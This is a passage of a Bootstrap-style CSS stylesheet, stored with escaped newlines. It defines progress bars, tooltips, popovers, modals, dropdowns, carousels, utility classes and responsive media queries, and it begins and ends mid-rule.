0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  -webkit-background-size: 40px 40px;\n  -moz-background-size: 40px 40px;\n  -o-background-size: 40px 40px;\n  background-size: 40px 40px;\n}\n.progress.active .bar {\n  -webkit-animation: progress-bar-stripes 2s linear infinite;\n  -moz-animation: progress-bar-stripes 2s linear infinite;\n  -ms-animation: progress-bar-stripes 2s linear infinite;\n  -o-animation: progress-bar-stripes 2s linear infinite;\n  animation: progress-bar-stripes 2s linear infinite;\n}\n.progress-danger .bar,\n.progress .bar-danger {\n  background-color: #dd514c;\n  background-image: -moz-linear-gradient(top, #ee5f5b, #c43c35);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#c43c35));\n  background-image: -webkit-linear-gradient(top, #ee5f5b, #c43c35);\n  background-image: -o-linear-gradient(top, #ee5f5b, #c43c35);\n  background-image: linear-gradient(to bottom, #ee5f5b, #c43c35);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffee5f5b', endColorstr='#ffc43c35', GradientType=0);\n}\n.progress-danger.progress-striped .bar,\n.progress-striped .bar-danger {\n  background-color: #ee5f5b;\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-success .bar,\n.progress .bar-success {\n  background-color: #5eb95e;\n  background-image: -moz-linear-gradient(top, #62c462, #57a957);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#57a957));\n  background-image: -webkit-linear-gradient(top, #62c462, #57a957);\n  background-image: -o-linear-gradient(top, #62c462, #57a957);\n  background-image: linear-gradient(to bottom, #62c462, #57a957);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff62c462', endColorstr='#ff57a957', GradientType=0);\n}\n.progress-success.progress-striped .bar,\n.progress-striped .bar-success {\n  background-color: #62c462;\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-info .bar,\n.progress .bar-info {\n  background-color: #4bb1cf;\n  background-image: -moz-linear-gradient(top, #5bc0de, #339bb9);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#339bb9));\n  background-image: -webkit-linear-gradient(top, #5bc0de, #339bb9);\n  background-image: -o-linear-gradient(top, #5bc0de, #339bb9);\n  background-image: linear-gradient(to bottom, #5bc0de, #339bb9);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff339bb9', GradientType=0);\n}\n.progress-info.progress-striped .bar,\n.progress-striped .bar-info {\n  background-color: #5bc0de;\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-warning .bar,\n.progress .bar-warning {\n  background-color: #faa732;\n  background-image: -moz-linear-gradient(top, #fbb450, #f89406);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));\n  background-image: -webkit-linear-gradient(top, #fbb450, #f89406);\n  background-image: -o-linear-gradient(top, #fbb450, #f89406);\n  background-image: linear-gradient(to bottom, #fbb450, #f89406);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffbb450', endColorstr='#fff89406', GradientType=0);\n}\n.progress-warning.progress-striped .bar,\n.progress-striped .bar-warning {\n  background-color: #fbb450;\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.hero-unit {\n  padding: 60px;\n  margin-bottom: 30px;\n  font-size: 18px;\n  font-weight: 200;\n  line-height: 30px;\n  color: inherit;\n  background-color: #eeeeee;\n  -webkit-border-radius: 6px;\n  -moz-border-radius: 6px;\n  border-radius: 6px;\n}\n.hero-unit h1 {\n  margin-bottom: 0;\n  font-size: 60px;\n  line-height: 1;\n  color: inherit;\n  letter-spacing: -1px;\n}\n.hero-unit li {\n  line-height: 30px;\n}\n.media,\n.media-body {\n  overflow: hidden;\n  *overflow: visible;\n  zoom: 1;\n}\n.media,\n.media .media {\n  margin-top: 15px;\n}\n.media:first-child {\n  margin-top: 0;\n}\n.media-object {\n  display: block;\n}\n.media-heading {\n  margin: 0 0 5px;\n}\n.media > .pull-left {\n  margin-right: 10px;\n}\n.media > .pull-right {\n  margin-left: 10px;\n}\n.media-list {\n  margin-left: 0;\n  list-style: none;\n}\n.tooltip {\n  position: absolute;\n  z-index: 1030;\n  display: block;\n  visibility: visible;\n  font-size: 11px;\n  line-height: 1.4;\n  opacity: 0;\n  filter: alpha(opacity=0);\n}\n.tooltip.in {\n  opacity: 0.8;\n  filter: alpha(opacity=80);\n}\n.tooltip.top {\n  margin-top: -3px;\n  padding: 5px 0;\n}\n.tooltip.right {\n  margin-left: 3px;\n  padding: 0 5px;\n}\n.tooltip.bottom {\n  margin-top: 3px;\n  padding: 5px 0;\n}\n.tooltip.left {\n  margin-left: -3px;\n  padding: 0 5px;\n}\n.tooltip-inner {\n  max-width: 200px;\n  padding: 8px;\n  color: #ffffff;\n  text-align: center;\n  text-decoration: none;\n  background-color: #000000;\n  -webkit-border-radius: 4px;\n  -moz-border-radius: 4px;\n  border-radius: 4px;\n}\n.tooltip-arrow {\n  position: absolute;\n  width: 0;\n  height: 0;\n  border-color: transparent;\n  border-style: solid;\n}\n.tooltip.top .tooltip-arrow {\n  bottom: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-width: 5px 5px 0;\n  border-top-color: #000000;\n}\n.tooltip.right .tooltip-arrow {\n  top: 50%;\n  left: 0;\n  margin-top: -5px;\n  border-width: 5px 5px 5px 0;\n  border-right-color: #000000;\n}\n.tooltip.left .tooltip-arrow {\n  top: 50%;\n  right: 0;\n  margin-top: -5px;\n  border-width: 5px 0 5px 5px;\n  border-left-color: #000000;\n}\n.tooltip.bottom .tooltip-arrow {\n  top: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-width: 0 5px 5px;\n  border-bottom-color: #000000;\n}\n.popover {\n  position: absolute;\n  top: 0;\n  left: 0;\n  z-index: 1010;\n  display: none;\n  max-width: 276px;\n  padding: 1px;\n  text-align: left;\n  background-color: #ffffff;\n  -webkit-background-clip: padding-box;\n  -moz-background-clip: padding;\n  background-clip: padding-box;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, 0.2);\n  -webkit-border-radius: 6px;\n  -moz-border-radius: 6px;\n  border-radius: 6px;\n  -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n  -moz-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n  box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n  white-space: normal;\n}\n.popover.top {\n  margin-top: -10px;\n}\n.popover.right {\n  margin-left: 10px;\n}\n.popover.bottom {\n  margin-top: 10px;\n}\n.popover.left {\n  margin-left: -10px;\n}\n.popover-title {\n  margin: 0;\n  padding: 8px 14px;\n  font-size: 14px;\n  font-weight: normal;\n  line-height: 18px;\n  background-color: #f7f7f7;\n  border-bottom: 1px solid #ebebeb;\n  -webkit-border-radius: 5px 5px 0 0;\n  -moz-border-radius: 5px 5px 0 0;\n  border-radius: 5px 5px 0 0;\n}\n.popover-title:empty {\n  display: none;\n}\n.popover-content {\n  padding: 9px 14px;\n}\n.popover .arrow,\n.popover .arrow:after {\n  position: absolute;\n  display: block;\n  width: 0;\n  height: 0;\n  border-color: transparent;\n  border-style: solid;\n}\n.popover .arrow {\n  border-width: 11px;\n}\n.popover .arrow:after {\n  border-width: 10px;\n  content: \"\";\n}\n.popover.top .arrow {\n  left: 50%;\n  margin-left: -11px;\n  border-bottom-width: 0;\n  border-top-color: #999;\n  border-top-color: rgba(0, 0, 0, 0.25);\n  bottom: -11px;\n}\n.popover.top .arrow:after {\n  bottom: 1px;\n  margin-left: -10px;\n  border-bottom-width: 0;\n  border-top-color: #ffffff;\n}\n.popover.right .arrow {\n  top: 50%;\n  left: -11px;\n  margin-top: -11px;\n  border-left-width: 0;\n  border-right-color: #999;\n  border-right-color: rgba(0, 0, 0, 0.25);\n}\n.popover.right .arrow:after {\n  left: 1px;\n  bottom: -10px;\n  border-left-width: 0;\n  border-right-color: #ffffff;\n}\n.popover.bottom .arrow {\n  left: 50%;\n  margin-left: -11px;\n  border-top-width: 0;\n  border-bottom-color: #999;\n  border-bottom-color: rgba(0, 0, 0, 0.25);\n  top: -11px;\n}\n.popover.bottom .arrow:after {\n  top: 1px;\n  margin-left: -10px;\n  border-top-width: 0;\n  border-bottom-color: #ffffff;\n}\n.popover.left .arrow {\n  top: 50%;\n  right: -11px;\n  margin-top: -11px;\n  border-right-width: 0;\n  border-left-color: #999;\n  border-left-color: rgba(0, 0, 0, 0.25);\n}\n.popover.left .arrow:after {\n  right: 1px;\n  border-right-width: 0;\n  border-left-color: #ffffff;\n  bottom: -10px;\n}\n.modal-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1040;\n  background-color: #000000;\n}\n.modal-backdrop.fade {\n  opacity: 0;\n}\n.modal-backdrop,\n.modal-backdrop.fade.in {\n  opacity: 0.8;\n  filter: alpha(opacity=80);\n}\n.modal {\n  position: fixed;\n  top: 10%;\n  left: 50%;\n  z-index: 1050;\n  width: 560px;\n  margin-left: -280px;\n  background-color: #ffffff;\n  border: 1px solid #999;\n  border: 1px solid rgba(0, 0, 0, 0.3);\n  *border: 1px solid #999;\n  /* IE6-7 */\n\n  -webkit-border-radius: 6px;\n  -moz-border-radius: 6px;\n  border-radius: 6px;\n  -webkit-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n  -moz-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n  box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n  -webkit-background-clip: padding-box;\n  -moz-background-clip: padding-box;\n  background-clip: padding-box;\n  outline: none;\n}\n.modal.fade {\n  -webkit-transition: opacity .3s linear, top .3s ease-out;\n  -moz-transition: opacity .3s linear, top .3s ease-out;\n  -o-transition: opacity .3s linear, top .3s ease-out;\n  transition: opacity .3s linear, top .3s ease-out;\n  top: -25%;\n}\n.modal.fade.in {\n  top: 10%;\n}\n.modal-header {\n  padding: 9px 15px;\n  border-bottom: 1px solid #eee;\n}\n.modal-header .close {\n  margin-top: 2px;\n}\n.modal-header h3 {\n  margin: 0;\n  line-height: 30px;\n}\n.modal-body {\n  position: relative;\n  overflow-y: auto;\n  max-height: 400px;\n  padding: 15px;\n}\n.modal-form {\n  margin-bottom: 0;\n}\n.modal-footer {\n  padding: 14px 15px 15px;\n  margin-bottom: 0;\n  text-align: right;\n  background-color: #f5f5f5;\n  border-top: 1px solid #ddd;\n  -webkit-border-radius: 0 0 6px 6px;\n  -moz-border-radius: 0 0 6px 6px;\n  border-radius: 0 0 6px 6px;\n  -webkit-box-shadow: inset 0 1px 0 #ffffff;\n  -moz-box-shadow: inset 0 1px 0 #ffffff;\n  box-shadow: inset 0 1px 0 #ffffff;\n  *zoom: 1;\n}\n.modal-footer:before,\n.modal-footer:after {\n  display: table;\n  content: \"\";\n  line-height: 0;\n}\n.modal-footer:after {\n  clear: both;\n}\n.modal-footer .btn + .btn {\n  margin-left: 5px;\n  margin-bottom: 0;\n}\n.modal-footer .btn-group .btn + .btn {\n  margin-left: -1px;\n}\n.modal-footer .btn-block + .btn-block {\n  margin-left: 0;\n}\n.dropup,\n.dropdown {\n  position: relative;\n}\n.dropdown-toggle {\n  *margin-bottom: -3px;\n}\n.dropdown-toggle:active,\n.open .dropdown-toggle {\n  outline: 0;\n}\n.caret {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  vertical-align: top;\n  border-top: 4px solid #000000;\n  border-right: 4px solid transparent;\n  border-left: 4px solid transparent;\n  content: \"\";\n}\n.dropdown .caret {\n  margin-top: 8px;\n  margin-left: 2px;\n}\n.dropdown-menu {\n  position: absolute;\n  top: 100%;\n  left: 0;\n  z-index: 1000;\n  display: none;\n  float: left;\n  min-width: 160px;\n  padding: 5px 0;\n  margin: 2px 0 0;\n  list-style: none;\n  background-color: #ffffff;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, 0.2);\n  *border-right-width: 2px;\n  *border-bottom-width: 2px;\n  -webkit-border-radius: 6px;\n  -moz-border-radius: 6px;\n  border-radius: 6px;\n  -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n  -moz-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n  box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n  -webkit-background-clip: padding-box;\n  -moz-background-clip: padding;\n  background-clip: padding-box;\n}\n.dropdown-menu.pull-right {\n  right: 0;\n  left: auto;\n}\n.dropdown-menu .divider {\n  *width: 100%;\n  height: 1px;\n  margin: 9px 1px;\n  *margin: -5px 0 5px;\n  overflow: hidden;\n  background-color: #e5e5e5;\n  border-bottom: 1px solid #ffffff;\n}\n.dropdown-menu > li > a {\n  display: block;\n  padding: 3px 20px;\n  clear: both;\n  font-weight: normal;\n  line-height: 20px;\n  color: #333333;\n  white-space: nowrap;\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus,\n.dropdown-submenu:hover > a,\n.dropdown-submenu:focus > a {\n  text-decoration: none;\n  color: #ffffff;\n  background-color: #0081c2;\n  background-image: -moz-linear-gradient(top, #0088cc, #0077b3);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0077b3));\n  background-image: -webkit-linear-gradient(top, #0088cc, #0077b3);\n  background-image: -o-linear-gradient(top, #0088cc, #0077b3);\n  background-image: linear-gradient(to bottom, #0088cc, #0077b3);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0077b3', GradientType=0);\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n  color: #ffffff;\n  text-decoration: none;\n  outline: 0;\n  background-color: #0081c2;\n  background-image: -moz-linear-gradient(top, #0088cc, #0077b3);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0077b3));\n  background-image: -webkit-linear-gradient(top, #0088cc, #0077b3);\n  background-image: -o-linear-gradient(top, #0088cc, #0077b3);\n  background-image: linear-gradient(to bottom, #0088cc, #0077b3);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0077b3', GradientType=0);\n}\n.dropdown-menu > .disabled > a,\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n  color: #999999;\n}\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n  text-decoration: none;\n  background-color: transparent;\n  background-image: none;\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  cursor: default;\n}\n.open {\n  *z-index: 1000;\n}\n.open > .dropdown-menu {\n  display: block;\n}\n.pull-right > .dropdown-menu {\n  right: 0;\n  left: auto;\n}\n.dropup .caret,\n.navbar-fixed-bottom .dropdown .caret {\n  border-top: 0;\n  border-bottom: 4px solid #000000;\n  content: \"\";\n}\n.dropup .dropdown-menu,\n.navbar-fixed-bottom .dropdown .dropdown-menu {\n  top: auto;\n  bottom: 100%;\n  margin-bottom: 1px;\n}\n.dropdown-submenu {\n  position: relative;\n}\n.dropdown-submenu > .dropdown-menu {\n  top: 0;\n  left: 100%;\n  margin-top: -6px;\n  margin-left: -1px;\n  -webkit-border-radius: 0 6px 6px 6px;\n  -moz-border-radius: 0 6px 6px 6px;\n  border-radius: 0 6px 6px 6px;\n}\n.dropdown-submenu:hover > .dropdown-menu {\n  display: block;\n}\n.dropup .dropdown-submenu > .dropdown-menu {\n  top: auto;\n  bottom: 0;\n  margin-top: 0;\n  margin-bottom: -2px;\n  -webkit-border-radius: 5px 5px 5px 0;\n  -moz-border-radius: 5px 5px 5px 0;\n  border-radius: 5px 5px 5px 0;\n}\n.dropdown-submenu > a:after {\n  display: block;\n  content: \" \";\n  float: right;\n  width: 0;\n  height: 0;\n  border-color: transparent;\n  border-style: solid;\n  border-width: 5px 0 5px 5px;\n  border-left-color: #cccccc;\n  margin-top: 5px;\n  margin-right: -10px;\n}\n.dropdown-submenu:hover > a:after {\n  border-left-color: #ffffff;\n}\n.dropdown-submenu.pull-left {\n  float: none;\n}\n.dropdown-submenu.pull-left > .dropdown-menu {\n  left: -100%;\n  margin-left: 10px;\n  -webkit-border-radius: 6px 0 6px 6px;\n  -moz-border-radius: 6px 0 6px 6px;\n  border-radius: 6px 0 6px 6px;\n}\n.dropdown .dropdown-menu .nav-header {\n  padding-left: 20px;\n  padding-right: 20px;\n}\n.typeahead {\n  z-index: 1051;\n  margin-top: 2px;\n  -webkit-border-radius: 4px;\n  -moz-border-radius: 4px;\n  border-radius: 4px;\n}\n.accordion {\n  margin-bottom: 20px;\n}\n.accordion-group {\n  margin-bottom: 2px;\n  border: 1px solid #e5e5e5;\n  -webkit-border-radius: 4px;\n  -moz-border-radius: 4px;\n  border-radius: 4px;\n}\n.accordion-heading {\n  border-bottom: 0;\n}\n.accordion-heading .accordion-toggle {\n  display: block;\n  padding: 8px 15px;\n}\n.accordion-toggle {\n  cursor: pointer;\n}\n.accordion-inner {\n  padding: 9px 15px;\n  border-top: 1px solid #e5e5e5;\n}\n.carousel {\n  position: relative;\n  margin-bottom: 20px;\n  line-height: 1;\n}\n.carousel-inner {\n  overflow: hidden;\n  width: 100%;\n  position: relative;\n}\n.carousel-inner > .item {\n  display: none;\n  position: relative;\n  -webkit-transition: 0.6s ease-in-out left;\n  -moz-transition: 0.6s ease-in-out left;\n  -o-transition: 0.6s ease-in-out left;\n  transition: 0.6s ease-in-out left;\n}\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n  display: block;\n  line-height: 1;\n}\n.carousel-inner > .active,\n.carousel-inner > .next,\n.carousel-inner > .prev {\n  display: block;\n}\n.carousel-inner > .active {\n  left: 0;\n}\n.carousel-inner > .next,\n.carousel-inner > .prev {\n  position: absolute;\n  top: 0;\n  width: 100%;\n}\n.carousel-inner > .next {\n  left: 100%;\n}\n.carousel-inner > .prev {\n  left: -100%;\n}\n.carousel-inner > .next.left,\n.carousel-inner > .prev.right {\n  left: 0;\n}\n.carousel-inner > .active.left {\n  left: -100%;\n}\n.carousel-inner > .active.right {\n  left: 100%;\n}\n.carousel-control {\n  position: absolute;\n  top: 40%;\n  left: 15px;\n  width: 40px;\n  height: 40px;\n  margin-top: -20px;\n  font-size: 60px;\n  font-weight: 100;\n  line-height: 30px;\n  color: #ffffff;\n  text-align: center;\n  background: #222222;\n  border: 3px solid #ffffff;\n  -webkit-border-radius: 23px;\n  -moz-border-radius: 23px;\n  border-radius: 23px;\n  opacity: 0.5;\n  filter: alpha(opacity=50);\n}\n.carousel-control.right {\n  left: auto;\n  right: 15px;\n}\n.carousel-control:hover,\n.carousel-control:focus {\n  color: #ffffff;\n  text-decoration: none;\n  opacity: 0.9;\n  filter: alpha(opacity=90);\n}\n.carousel-indicators {\n  position: absolute;\n  top: 15px;\n  right: 15px;\n  z-index: 5;\n  margin: 0;\n  list-style: none;\n}\n.carousel-indicators li {\n  display: block;\n  float: left;\n  width: 10px;\n  height: 10px;\n  margin-left: 5px;\n  text-indent: -999px;\n  background-color: #ccc;\n  background-color: rgba(255, 255, 255, 0.25);\n  border-radius: 5px;\n}\n.carousel-indicators .active {\n  background-color: #fff;\n}\n.carousel-caption {\n  position: absolute;\n  left: 0;\n  right: 0;\n  bottom: 0;\n  padding: 15px;\n  background: #333333;\n  background: rgba(0, 0, 0, 0.75);\n}\n.carousel-caption h4,\n.carousel-caption p {\n  color: #ffffff;\n  line-height: 20px;\n}\n.carousel-caption h4 {\n  margin: 0 0 5px;\n}\n.carousel-caption p {\n  margin-bottom: 0;\n}\n.well {\n  min-height: 20px;\n  padding: 19px;\n  margin-bottom: 20px;\n  background-color: #f5f5f5;\n  border: 1px solid #e3e3e3;\n  -webkit-border-radius: 4px;\n  -moz-border-radius: 4px;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n  -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n.well blockquote {\n  border-color: #ddd;\n  border-color: rgba(0, 0, 0, 0.15);\n}\n.well-large {\n  padding: 24px;\n  -webkit-border-radius: 6px;\n  -moz-border-radius: 6px;\n  border-radius: 6px;\n}\n.well-small {\n  padding: 9px;\n  -webkit-border-radius: 3px;\n  -moz-border-radius: 3px;\n  border-radius: 3px;\n}\n.close {\n  float: right;\n  font-size: 20px;\n  font-weight: bold;\n  line-height: 20px;\n  color: #000000;\n  text-shadow: 0 1px 0 #ffffff;\n  opacity: 0.2;\n  filter: alpha(opacity=20);\n}\n.close:hover,\n.close:focus {\n  color: #000000;\n  text-decoration: none;\n  cursor: pointer;\n  opacity: 0.4;\n  filter: alpha(opacity=40);\n}\nbutton.close {\n  padding: 0;\n  cursor: pointer;\n  background: transparent;\n  border: 0;\n  -webkit-appearance: none;\n}\n.pull-right {\n  float: right;\n}\n.pull-left {\n  float: left;\n}\n.hide {\n  display: none;\n}\n.show {\n  display: block;\n}\n.invisible {\n  visibility: hidden;\n}\n.affix {\n  position: fixed;\n}\n.fade {\n  opacity: 0;\n  -webkit-transition: opacity 0.15s linear;\n  -moz-transition: opacity 0.15s linear;\n  -o-transition: opacity 0.15s linear;\n  transition: opacity 0.15s linear;\n}\n.fade.in {\n  opacity: 1;\n}\n.collapse {\n  position: relative;\n  height: 0;\n  overflow: hidden;\n  -webkit-transition: height 0.35s ease;\n  -moz-transition: height 0.35s ease;\n  -o-transition: height 0.35s ease;\n  transition: height 0.35s ease;\n}\n.collapse.in {\n  height: auto;\n}\n@-ms-viewport {\n  width: device-width;\n}\n.hidden {\n  display: none;\n  visibility: hidden;\n}\n.visible-phone {\n  display: none !important;\n}\n.visible-tablet {\n  display: none !important;\n}\n.hidden-desktop {\n  display: none !important;\n}\n.visible-desktop {\n  display: inherit !important;\n}\n@media (min-width: 768px) and (max-width: 979px) {\n  .hidden-desktop {\n    display: inherit !important;\n  }\n  .visible-desktop {\n    display: none !important ;\n  }\n  .visible-tablet {\n    display: inherit !important;\n  }\n  .hidden-tablet {\n    display: none !important;\n  }\n}\n@media (max-width: 767px) {\n  .hidden-desktop {\n    display: inherit !important;\n  }\n  .visible-desktop {\n    display: none !important;\n  }\n  .visible-phone {\n    display: inherit !important;\n  }\n  .hidden-phone {\n    display: none !important;\n  }\n}\n.visible-print {\n  display: none !important;\n}\n@media print {\n  .visible-print {\n    display: inherit !important;\n  }\n  .hidden-print {\n    display: none !important;\n  }\n}\n@media (max-width: 767px) {\n  body {\n    padding-left: 20px;\n    padding-right: 20px;\n  }\n  .navbar-fixed-top,\n  .navbar-fixed-bottom,\n  .navbar-static-top {\n    margin-left: -20px;\n    margin-right: -20px;\n  }\n  .container-fluid {\n    padding: 0;\n  }\n  .dl-horizontal dt {\n    float: none;\n    clear: none;\n    width: auto;\n    text-align: left;\n  }\n  .dl-horizontal dd {\n    margin-left: 0;\n  }\n  .container {\n    width: auto;\n  }\n  .row-fluid {\n    width: 100%;\n  }\n  .row,\n  .thumbnails {\n    margin-left: 0;\n  }\n  .thumbnails > li {\n    float: none;\n    margin-left: 0;\n  }\n  [class*=\"span\"],\n  .uneditable-input[class*=\"span\"],\n  .row-fluid [class*=\"span\"] {\n    float: none;\n    display: block;\n    width: 100%;\n    margin-left: 0;\n    -webkit-box-sizing: border-box;\n    -moz-box-sizing: border-box;\n    box-sizing: border-box;\n  }\n  .span12,\n  .row-fluid .span12 {\n    width: 100%;\n    -webkit-box-sizing: border-box;\n    -moz-box-sizing: border-box;\n    box-sizing: border-box;\n  }\n  .row-fluid [class*=\"offset\"]:first-child {\n    margin-left: 0;\n  }\n  .input-large,\n  .input-xlarge,\n  .input-xxlarge,\n  input[class*=\"span\"],\n  select[class*=\"span\"],\n  textarea[class*=\"span\"],\n  .uneditable-input {\n    display: block;\n    width: 100%;\n    min-height: 30px;\n    -webkit-box-sizing: border-box;\n    -moz-box-sizing: border-box;\n    box-sizing: 